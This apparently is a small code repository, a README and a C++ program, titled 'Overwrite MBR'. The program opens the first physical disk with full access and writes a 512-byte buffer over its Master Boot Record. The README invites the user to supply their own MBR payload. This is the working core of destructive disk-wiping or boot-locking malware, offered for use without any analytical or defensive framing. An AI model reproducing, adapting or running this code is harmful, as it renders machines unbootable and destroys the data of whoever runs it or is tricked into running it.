├── README.md └── overMBR.cpp /README.md: -------------------------------------------------------------------------------- 1 | # Overwrite MBR(Master Boot Record) 2 | ## Caution! This code don't run on this computer. 3 | 4 | line 2, You can modified MBR code in {Hexadecimal 512 bytes} 5 | >const unsigned char MasterBootRecord[] = {}; -------------------------------------------------------------------------------- /overMBR.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | const unsigned char MasterBootRecord[] = {}; 4 | 5 | int CALLBACK WinMain( 6 | HINSTANCE hInstance, HINSTANCE hPrevInstance, 7 | LPSTR lpCmdLine, int nCmdShow 8 | ) 9 | { 10 | DWORD dwBytesWritten; 11 | HANDLE hDevice = CreateFileW( 12 | L"\\\\.\\PhysicalDrive0", GENERIC_ALL, 13 | FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 14 | OPEN_EXISTING, 0, 0); 15 | 16 | WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0); 17 | CloseHandle(hDevice); 18 | } --------------------------------------------------------------------------------